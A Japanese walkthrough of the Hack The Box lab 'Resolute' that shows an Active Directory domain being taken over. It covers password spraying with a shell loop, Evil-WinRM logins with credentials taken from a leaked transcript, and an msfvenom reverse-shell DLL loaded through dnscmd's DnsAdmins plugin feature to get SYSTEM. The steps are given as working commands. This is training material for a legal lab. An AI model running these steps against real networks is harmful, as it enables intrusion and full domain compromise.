Hack The Box: Resolute Walkthrough (Japanese)

# 注意
このWalkthroughはHack The Box(以下、HTB)の問題であるResoluteの解説を目的とした記事です。不正アクセス等の違法行為を助長するものではありません。

# はじめに
HTBってフォーラムないと解けなくない！？！？！？
これを仕事でやっているRedTeamの人すごすぎる。。

Infocardは次のとおり。
<img width="593" alt="スクリーンショット 2020-03-25 13.39.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/42195/e460516e-119e-f895-1d82-302061124cd6.png">

# Walkthrough
## User権限を取るまで　
### nmapスキャン
まずはnmap

```
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 07:01:13Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49688/tcp open  msrpc        Microsoft Windows RPC
49709/tcp open  msrpc        Microsoft Windows RPC
55368/tcp open  tcpwrapped
55451/tcp open  tcpwrapped
55496/tcp open  tcpwrapped
```

88/tcpや389/tcpが開いているのでこれもADサーバっぽいことがわかる。

### enum4linux
一部抜粋。

```
 =============================
|    Users on 10.10.10.169    |
 =============================
~snip~

index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko	Name: Marko Novak	Desc: Account created. Password set to Welcome123!

~snip~
```
アカウント`marko`のパスワードは`Welcome123!`と**書いてある**。
nmapの結果からWinRMのポートが開いているのでIDとPWを使ってログインを試みるができない。すでにPWが変更されている様子。

### smbclient
Linux上で利用できるsmbのクライアント。フォーラムにヒントがあったのでこの環境では初期パスワードとして`Welcome123!`が利用されていると仮定して、パスワードをそのままで運用しているユーザを探す。

```user.txt
MEGABANK\\krbtgt
MEGABANK\\ryan
MEGABANK\\marko
MEGABANK\\sunita
MEGABANK\\abigail
MEGABANK\\marcus
MEGABANK\\sally
MEGABANK\\fred
MEGABANK\\angela
MEGABANK\\felicia
MEGABANK\\gustavo
MEGABANK\\ulf
MEGABANK\\stevie
MEGABANK\\claire
MEGABANK\\paulo
MEGABANK\\steve
MEGABANK\\annette
MEGABANK\\annika
MEGABANK\\per
MEGABANK\\claude
MEGABANK\\melanie
MEGABANK\\zach
MEGABANK\\simon
MEGABANK\\naok
```

```bash:abc.sh
#!/bin/bash
while read line
do
   echo "Welcome123!" | smbclient //10.10.10.169/Users/ -U $line
done < ./user.txt
```

```bash
$ ./abc.sh
~snip~
Enter MEGABANK\annika's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\per's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\claude's password:
session setup failed: NT_STATUS_LOGON_FAILURE

### エラーが出ていない
Enter MEGABANK\melanie's password:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
###

Enter MEGABANK\zach's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\simon's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\naok's password:
session setup failed: NT_STATUS_LOGON_FAILURE
~snip~
```

melanieでログイン関連のエラーが出なかった。
WinRM経由でログインしてみる。

### Evil-WinRM
userのflagゲット。

```
$ ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> type ../Desktop/user.txt
0c3be45fcfe249796ccbee8d3a978540
```

## Root権限を取るまで
### 管理者が残したログを見つける
なぜか`C:\`にTranscriptのログが落ちているので内容を確認する。

```
*Evil-WinRM* PS C:\> Get-ChildItem -force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        5/23/2020   6:31 PM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        5/23/2020   3:13 PM      402653184 pagefile.sys

*Evil-WinRM* PS C:\> Get-ChildItem C:\PSTranscripts\ -force -Recurse


    Directory: C:\PSTranscripts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/3/2019   6:45 AM                20191203


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
```

ログっぽいものが落ちている。
内容を確認するとnet useしようとしたときにユーザのパスワードが記録されてしまっているのでこの認証情報を用いてログインしてみる。

```
*Evil-WinRM* PS C:\PSTranscripts\20191203> Get-Content PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
~(snip)~
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
~(snip)~

ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
```

できた。

### ユーザ「ryan」の調査
DnsAdmins権限を持っている。悪用できそう。

```
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
```

### DnsAdmins権限を用いた権限昇格
「dnsadmins privesc」などで検索を行うとDLL Injectionを用いた方法が出てくる。
WindowsのDNSにはカスタムプラグインとしてDLLを読み込む機能があるそう。
dns.exeがSYSTEM権限で動いているという前提はあるがそのカスタムプラグインとして読み込ませるDLLをリバースシェルにしてやるとADの乗っ取りができそう。

#### 事前調査
攻撃が成功するか検討するため、情報を集めます。

- DNSプロセスの存在確認

```
*Evil-WinRM* PS C:\Users\ryan\Documents> Get-Process -Name dns

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   5312    3697    68992      67928              3416   0 dns
```

- DNSCMDコマンドの確認

```
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /Info

Query result:

Server info
	server name              = Resolute.megabank.local
	version                  = 3839000A (10.0 build 14393)
	DS container             = cn=MicrosoftDNS,cn=System,DC=megabank,DC=local
	forest name              = megabank.local
	domain name              = megabank.local
	builtin forest partition = ForestDnsZones.megabank.local
	builtin domain partition = DomainDnsZones.megabank.local
	read only DC             = 0
~(snip)~
```

- サービスの確認

```
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe query dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

#### msfvenomによるペイロードの作成
適当にリバースシェルを行うDLLを作ります。LHOSTは手元のKaliのIPアドレスにします。

```
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f dll --platform windows > rev.dll
```

#### Exploit
適宜ターミナルは分けてください。
Desktop上に注意事項があるので読みます。

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
```

- NCコマンドでリバースシェルを待ち受けます。

```
nc -nlvp 4444
```

- Impacketのsmbserverでsmbserverを立ち上げます。

DLLをアップロードすると検疫されてしまうのでその対策です。
rev.dllがあるフォルダでコマンドを実行します。

```
sudo impacket-smbserver share ./
```

- プラグインを設定した上でDNSサービスの再起動を行います。

すべてコピペをした上でコンソール上に貼り付けることで順次コマンドが実行されていくため便利です。

```
dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.15.233\share\rev.dll
sc.exe stop dns
Get-Service dns
sc.exe start dns
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Get-Service dns
```

#### rootのflagゲット

リバースシェルを待ち構えていたターミナルを見るとコマンドが打てるようになっています。

```
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1d94876a506850d0c20edb5405e619c
```

# 原因/対策
## 初期設定パスワードが使い回されていた。
運用上は楽なんだろうけども、、
初期パスワードを変更しないで使っている人も見据えて運用する側で考えていくしかないですね。

## Transcript内に管理者のID/Passowrdが残っていた
ログに残ってしまうという事故ですが、Cドライブ直下に残ってしまったというのも不運でした。

## dns.exeのプラグイン機能
これってそもそも無効にできるのでしょうか？
対策はあるのでしょうか？

# 参考リンク
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise